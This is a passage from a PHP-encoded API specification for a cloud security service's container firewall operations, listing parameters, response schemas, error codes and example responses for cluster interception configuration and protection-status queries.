node.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '143761', ], 'RuleId' => [ 'description' => 'The ID of the rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '403327', ], 'ClusterId' => [ 'description' => 'The ID of the container cluster.'."\n" ."\n" .'> The IDs of clusters can be obtained by using the [DescribeGroupedContainerInstances](~~182997~~) operation.'."\n", 'type' => 'string', 'example' => 'cfb41a869c71e4678a97021582dd8****', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8****\\",\\n \\"ContainerWebDefenseAppList\\": [\\n {\\n \\"GmtCreate\\": 1677839038000,\\n \\"AliUid\\": 0,\\n \\"Tag\\": \\"app:test\\",\\n \\"GmtModified\\": 1667891185000,\\n \\"Id\\": 143761,\\n \\"RuleId\\": 403327,\\n \\"ClusterId\\": \\"cfb41a869c71e4678a97021582dd8****\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'GetSasContainerWebDefenseRuleApplication', ], 'ModifyClusterCnnfStatusUserConfirm' => [ 'summary' => 'Fixes the blocking status of clusters whose status is Normal to be confirmed.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '103078', 'abilityTreeNodes' => [ 'FEATUREsas5HPCI8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'ClusterIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The cluster IDs.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The cluster ID. You can call the [ListClusterInterceptionConfig](~~ListClusterInterceptionConfig~~) operation to query the IDs of cluster.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cf55f3bd2bad747858c6a5f2101ad****', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'UserConfirm', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to fix the blocking status of the cluster. Valid values:'."\n" ."\n" .'* true: yes'."\n" .'* false: no', 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'Schema of Response', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '4FFBEDBD-FA63-5213-9103-306519EE4857', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"4FFBEDBD-FA63-5213-9103-306519EE4857\\"\\n}","type":"json"}]', 'title' => 'ModifyClusterCnnfStatusUserConfirm', ], 'GetInterceptionSummary' => [ 'summary' => 'Queries the statistics of the container firewall feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the cluster.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~421736~~) operation to query the IDs of clusters.', 'type' => 'string', 'required' => false, 'example' => 'c2999***bb61b', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.', 'type' => 'string', 'example' => 'F35F45B0-5D6B-4238-BE02-A62D0760E840', ], 'InterceptionSummary' => [ 'description' => 'The statistics.', 'type' => 'object', 'properties' => [ 'CloseClusterCount' => [ 'description' => 'The number of clusters that are not protected.', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'RiskCount30Day' => [ 'description' => 'The number of security risks that are detected in the last 30 days.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], 'RiskCount180Day' => [ 'description' => 'The number of security risks that are detected in the last 180 days.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], 'OpenClusterCount' => [ 'description' => 'The number of clusters that are protected.', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'RiskCountToday' => [ 'description' => 'The number of security risks that are detected in the last 24 hours.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], 'CloseRuleCount' => [ 'description' => 'The number of disabled cluster defense rules.', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'RuleCount' => [ 'description' => 'The total number of cluster defense rules.', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'ClusterCount' => [ 'description' => 'The total number of clusters.', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'OpenRuleCount' => [ 'description' => 'The number of enabled cluster defense rules.', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'InterceptionCountInDays' => [ 'description' => 'The total number of interception records for the specified cluster.', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F35F45B0-5D6B-4238-BE02-A62D0760E840\\",\\n \\"InterceptionSummary\\": {\\n \\"CloseClusterCount\\": 0,\\n \\"RiskCount30Day\\": 0,\\n \\"RiskCount180Day\\": 0,\\n \\"OpenClusterCount\\": 0,\\n \\"RiskCountToday\\": 0,\\n \\"CloseRuleCount\\": 0,\\n \\"RuleCount\\": 0,\\n \\"ClusterCount\\": 0,\\n \\"OpenRuleCount\\": 0,\\n \\"InterceptionCountInDays\\": 0\\n }\\n}","type":"json"}]', 'title' => 'GetInterceptionSummary', ], 'ListInterceptionTargetPage' => [ 'summary' => 'Queries the network objects that are protected by the container firewall feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'TargetName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the network object.'."\n", 'type' => 'string', 'required' => false, 'example' => 'source-test-obj-0****'."\n", ], ], [ 'name' => 'TargetType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the network object. Valid values:'."\n" ."\n" .'* IMAGE'."\n", 'type' => 'string', 'required' => false, 'example' => 'IMAGE'."\n", ], ], [ 'name' => 'Namespace', 'in' => 'query', 'schema' => [ 'description' => 'The namespace to which the network object belongs.'."\n", 'type' => 'string', 'required' => false, 'example' => 'default'."\n", ], ], [ 'name' => 'AppName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the application to which the network object belongs.'."\n", 'type' => 'string', 'required' => false, 'example' => 'frontend', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'ImageList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The images of the network object.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the image.'."\n", 'type' => 'string', 'required' => false, 'example' => 'jenkins-master:2.277'."\n", ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'TagList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The labels specified for the network object.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the label.'."\n", 'type' => 'string', 'required' => false, 'example' => 'app.kubernetes.io/instance:cas0-oms'."\n", ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '028CF634-5268-5660-9575-48C9ED6B****', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '45', ], ], ], 'RuleTargetList' => [ 'description' => 'An array that consists of the network objects.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The network objects.'."\n", 'type' => 'object', 'properties' => [ 'AppName' => [ 'description' => 'The name of the application of the network object.'."\n", 'type' => 'string', 'example' => 'frontend', ], 'ImageList' => [ 'description' => 'The images of the network object.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the image.'."\n", 'type' => 'string', 'example' => 'alpine:3.9.6', ], ], 'TagList' => [ 'description' => 'The tags specified for the network object.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the tag.'."\n", 'type' => 'string', 'example' => 'chart:ack-arms-prometheus-1.1.0', ], ], 'TargetId' => [ 'description' => 'The ID of the network object.'."\n" ."\n" .'> You can call the [ListInterceptionTargetPage](~~ListInterceptionTargetPage~~) operation to query the IDs of network objects.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '400914', ], 'TargetName' => [ 'description' => 'The name of the network object.'."\n", 'type' => 'string', 'example' => 'destination-test-obj-Na3cF', ], 'Namespace' => [ 'description' => 'The namespace to which the network object belongs.'."\n", 'type' => 'string', 'example' => 'default', ], 'TargetType' => [ 'description' => 'The type of the network object. Valid value:'."\n" ."\n" .'* IMAGE'."\n", 'type' => 'string', 'example' => 'IMAGE', ], 'ClusterId' => [ 'description' => 'The ID of the container cluster.'."\n", 'type' => 'string', 'example' => 'c3e2eae03eb064d2ebf940cd5e1b17****', ], 'ClusterName' => [ 'description' => 'The name of the container cluster.'."\n", 'type' => 'string', 'example' => 'sas-test-cnnf'."\n", ], 'RuleType' => [ 'description' => 'The type of the rule. Valid value:'."\n" ."\n" .'* customize: custom rule'."\n", 'type' => 'string', 'example' => 'customize', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"028CF634-5268-5660-9575-48C9ED6B****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 45\\n },\\n \\"RuleTargetList\\": [\\n {\\n \\"AppName\\": \\"frontend\\",\\n \\"ImageList\\": [\\n \\"alpine:3.9.6\\"\\n ],\\n \\"TagList\\": [\\n \\"chart:ack-arms-prometheus-1.1.0\\"\\n ],\\n \\"TargetId\\": 400914,\\n \\"TargetName\\": \\"destination-test-obj-Na3cF\\",\\n \\"Namespace\\": \\"default\\",\\n \\"TargetType\\": \\"IMAGE\\",\\n \\"ClusterId\\": \\"c3e2eae03eb064d2ebf940cd5e1b17****\\",\\n \\"ClusterName\\": \\"sas-test-cnnf\\\\n\\",\\n \\"RuleType\\": \\"customize\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListInterceptionTargetPage', ], 'ListRuleTargetAll' => [ 'summary' => 'Queries the network objects based on which a specified cluster is protected.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the container cluster.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~182997~~) operation to query the IDs of container clusters.'."\n", 'type' => 'string', 'required' => true, 'example' => 'cfa7e2fb8c221483ba59e098c34c6****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '30CBF632-109F-596F-97F2-451C8B2A****', ], 'RuleTargetList' => [ 'description' => 'An array that consists of the network objects.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the network object.'."\n", 'type' => 'object', 'properties' => [ 'TargetId' => [ 'description' => 'The ID of the network object.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '301944', ], 'TargetName' => [ 'description' => 'The name of the network object.'."\n", 'type' => 'string', 'example' => 'source-test-obj-xFKcx', ], 'TargetType' => [ 'description' => 'The type of the object. Valid values:'."\n" ."\n" .'* IMAGE'."\n", 'type' => 'string', 'example' => 'IMAGE', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"30CBF632-109F-596F-97F2-451C8B2A****\\",\\n \\"RuleTargetList\\": [\\n {\\n \\"TargetId\\": 301944,\\n \\"TargetName\\": \\"source-test-obj-xFKcx\\",\\n \\"TargetType\\": \\"IMAGE\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListRuleTargetAll', ], 'SetClusterInterceptionConfig' => [ 'summary' => 'Configures the status of the container firewall feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '92440', 'abilityTreeNodes' => [ 'FEATUREsas5HPCI8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'ClusterIds', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the cluster. Separate multiple cluster IDs with commas (,).'."\n" ."\n" .'> You can call the [ListClusterInterceptionConfig](~~ListClusterInterceptionConfig~~) operation to query the IDs of clusters.'."\n", 'type' => 'string', 'required' => true, 'example' => 'c60b77fe62093480db6164a3c2fa****', ], ], [ 'name' => 'SwitchType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the switch that you want to configure. Valid values:'."\n" ."\n" .'* **0**: the interception switch'."\n" .'* **1**: the interception type switch'."\n" .'* **2**: the interception history switch'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '0', ], ], [ 'name' => 'SwitchOn', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to turn on the switch. Valid values:'."\n" ."\n" .'* **1**: yes'."\n" .'* **0**: no'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Result' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '74AB990C-539B-579B-9239-B8A2036B7337', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Result\\": true,\\n \\"RequestId\\": \\"74AB990C-539B-579B-9239-B8A2036B7337\\"\\n}","type":"json"}]', 'title' => 'SetClusterInterceptionConfig', ], 'ModifyInterceptionTarget' => [ 'summary' => 'Modifies the information about a network object of the container firewall feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', ], 'parameters' => [ [ 'name' => 'TargetId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the network object.'."\n" ."\n" .'> You can call the [ListInterceptionTargetPage](~~ListInterceptionTargetPage~~) operation to obtain the value of this parameter.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '400913', ], ], [ 'name' => 'TargetName', 'in' => 'query', 'schema' => [ 'description' => 'The name.'."\n", 'type' => 'string', 'required' => true, 'example' => 'test001', ], ], [ 'name' => 'TargetType', 'in' => 'query', 'schema' => [ 'description' => 'The object type. Valid values:'."\n" ."\n" .'* **IMAGE**'."\n", 'type' => 'string', 'required' => true, 'example' => 'IMAGE', ], ], [ 'name' => 'Namespace', 'in' => 'query', 'schema' => [ 'description' => 'The namespace.'."\n" ."\n" .'> You can call the [DescribeContainerTags](~~DescribeContainerTags~~) operation to obtain the value of this parameter.'."\n", 'type' => 'string', 'required' => true, 'example' => 'demo4', ], ], [ 'name' => 'AppName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the application.'."\n" ."\n" .'> You can call the [DescribeContainerTags](~~DescribeContainerTags~~) operation to obtain the value of this parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => 'yasintt-daemonst', ], ], [ 'name' => 'ImageList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'An array that consists of images.'."\n" ."\n" .'> You can call the [DescribeContainerTags](~~DescribeContainerTags~~) operation to obtain the value of this parameter.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The image.'."\n" ."\n" .'> You can call the [DescribeContainerTags](~~DescribeContainerTags~~) operation to obtain the value of this parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => 'arms-prom-operator:v0.1', ], 'required' => false, 'maxItems' => 1000, ], ], [ 'name' => 'TagList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'An array that consists of tags.'."\n" ."\n" .'> You can call the [DescribeContainerTags](~~DescribeContainerTags~~) operation to obtain the value of this parameter.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The tag.'."\n" ."\n" .'> You can call the [DescribeContainerTags](~~DescribeContainerTags~~) operation to obtain the value of this parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => 'app.kubernetes.io/component:query', ], 'required' => false, 'maxItems' => 1000, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Result' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '16CB4467-56AE-546C-BF19-AD4584C0DD03', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Result\\": true,\\n \\"RequestId\\": \\"16CB4467-56AE-546C-BF19-AD4584C0DD03\\"\\n}","type":"json"}]', 'title' => 'ModifyInterceptionTarget', ], 'ListClusterInterceptionConfig' => [ 'summary' => 'Queries the defense rules that are created for a cluster.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'ClusterCNNFStatus', 'in' => 'query', 'schema' => [ 'description' => 'The status of the container firewall feature. Valid values:'."\n" ."\n" .'* **-1**: unknown'."\n" .'* **0**: abnormal'."\n" .'* **1**: normal'."\n" .'* **2**: normal to be confirmed'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'ClusterName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the cluster.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the cluster.'."\n" ."\n" .'> You can call the [DescribeContainerInstances](~~DescribeContainerInstances~~) operation to query the IDs of clusters.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c22143730ab6e40b09ec7c1c51d4d****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '49FDE92F-A0B8-56CC-B7A8-23B17646****', ], 'ClusterConfigList' => [ 'description' => 'An array that consists of the configurations of the cluster.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The configuration of the cluster.'."\n", 'type' => 'object', 'properties' => [ 'ClusterName' => [ 'description' => 'The name of the cluster.'."\n", 'type' => 'string', 'example' => 'container-opa-kill-02', ], 'InterceptionSwitch' => [ 'description' => 'The status of the defense rule. Valid values:'."\n" ."\n" .'* **0**: disabled'."\n" .'* **1**: enabled'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ClusterId' => [ 'description' => 'The ID of the cluster.'."\n", 'type' => 'string', 'example' => 'c9051d30d8a044b4d99e1cb5d25ac****', ], 'ClusterCNNFStatus' => [ 'description' => 'The status of the container firewall feature. Valid values:'."\n" ."\n" .'* **-1**: unknown'."\n" .'* **0**: abnormal'."\n" .'* **1**: normal'."\n" .'* **2**: normal to be confirmed'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'OpenRuleCount' => [ 'description' => 'The number of defense rules that are in effect.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '12', ], 'TotalRuleCount' => [ 'description' => 'The total number of defense rules.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '123', ], 'SupportCNNF' => [ 'description' => 'Indicates whether the container firewall feature is supported.'."\n", 'type' => 'boolean', 'example' => 'false', ], 'ClusterType' => [ 'description' => 'The type of the cluster. Valid values:'."\n" ."\n" .'* **ManagedKubernetes**: managed Kubernetes cluster'."\n" .'* **NotManagedKubernetes**: non-managed Kubernetes cluster'."\n" .'* **PrivateKubernetes**: private cluster'."\n" .'* **kubernetes**: dedicated Kubernetes cluster'."\n" .'* **ask**: dedicated serverless Kubernetes (ASK) cluster'."\n", 'type' => 'string', 'example' => 'ManagedKubernetes', ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '11', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '11', ], 'CurrrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"49FDE92F-A0B8-56CC-B7A8-23B17646****\\",\\n \\"ClusterConfigList\\": [\\n {\\n \\"ClusterName\\": \\"container-opa-kill-02\\",\\n \\"InterceptionSwitch\\": 1,\\n \\"ClusterId\\": \\"c9051d30d8a044b4d99e1cb5d25ac****\\",\\n \\"ClusterCNNFStatus\\": 0,\\n \\"OpenRuleCount\\": 12,\\n \\"TotalRuleCount\\": 123,\\n \\"SupportCNNF\\": false,\\n \\"ClusterType\\": \\"ManagedKubernetes\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"TotalCount\\": 11,\\n \\"Count\\": 11,\\n \\"CurrrentPage\\": 1,\\n \\"PageSize\\": 20\\n }\\n}","type":"json"}]', 'title' => 'ListClusterInterceptionConfig', ], 'ListClusterCnnfStatusDetail' => [ 'summary' => 'Queries the protection status of the container firewall.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'ClusterIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'An array that consists of the ID of the cluster.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the cluster.'."\n" ."\n" .'> You can call the [DescribeContainerInstances](~~DescribeContainerInstances~~) operation to query the ID of the cluster.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c8dc3a999320948a5b9857d220917****', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'Schema of Response', 'description' => 'The returned data.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '64329F40-5C94-51D3-A400-37AA7BAC****', ], 'Data' => [ 'description' => 'An array that consists of the protection status of the container firewall.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The protection status of the container firewall.'."\n", 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the asset.'."\n", 'type' => 'string', 'example' => '6690a46c-0edb-4663-a641-3629d1a9****', ], 'ClusterId' => [ 'description' => 'The ID of the cluster.'."\n", 'type' => 'string', 'example' => 'c8ca91e0907d94efaba7fb0827eb9****', ], 'InstanceId' => [ 'description' => 'The ID of the server.'."\n", 'type' => 'string', 'example' => 'i-bp180bogui4fc0z4****', ], 'MachineName' => [ 'description' => 'The name of the server.'."\n", 'type' => 'string', 'example' => 'security', ], 'PluginName' => [ 'description' => 'The name of the plug-in. The value is fixed as **alinet**.'."\n", 'type' => 'string', 'example' => 'alinet', ], 'Installed' => [ 'description' => 'Indicates whether the container firewall plug-in is installed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Status' => [ 'description' => 'The online status of the plug-in. Valid values:'."\n" ."\n" .'* **false**: The plug-in is offline.'."\n" .'* **true**: The plug-in is online.'."\n", 'type' => 'string', 'example' => 'false', ], 'InternetIp' => [ 'description' => 'The public IP address of the associated instance.'."\n", 'type' => 'string', 'example' => '172.16.XX.XX', ], 'IntranetIp' => [ 'description' => 'The private IP address of the associated instance.'."\n", 'type' => 'string', 'example' => '10.42.XX.XX', ], 'MachineType' => [ 'description' => 'The machine type of the instance. The value is fixed as **ecs**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => 'ecs', ], 'PluginVersion' => [ 'description' => 'The version of the plug-in.'."\n", 'type' => 'string', 'example' => '3.3', ], 'InvalidType' => [ 'description' => 'The cause why the plug-in is invalid. Valid values:'."\n" ."\n" .'* **PLUGIN_OFFLINE**: The plug-in is offline.'."\n" .'* **PLUGIN\\_NOT_INSTALLED**: The plug-in is not installed.'."\n" .'* **PLUGIN\\_INVALID_VERSION**: The version of the plug-in is invalid.', 'type' => 'string', 'example' => 'PLUGIN_OFFLINE', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"64329F40-5C94-51D3-A400-37AA7BAC****\\",\\n \\"Data\\": [\\n {\\n \\"Uuid\\": \\"6690a46c-0edb-4663-a641-3629d1a9****\\",\\n \\"ClusterId\\": \\"c8ca91e0907d94efaba7fb0827eb9****\\",\\n \\"InstanceId\\": \\"i-bp180bogui4fc0z4****\\",\\n \\"MachineName\\": \\"security\\",\\n \\"PluginName\\": \\"alinet\\",\\n \\"Installed\\": true,\\n \\"Status\\": \\"false\\",\\n \\"InternetIp\\": \\"172.16.XX.XX\\",\\n \\"IntranetIp\\": \\"10.42.XX.XX\\",\\n \\"MachineType\\": 0,\\n \\"PluginVersion\\": \\"3.3\\",\\n \\"InvalidType\\": 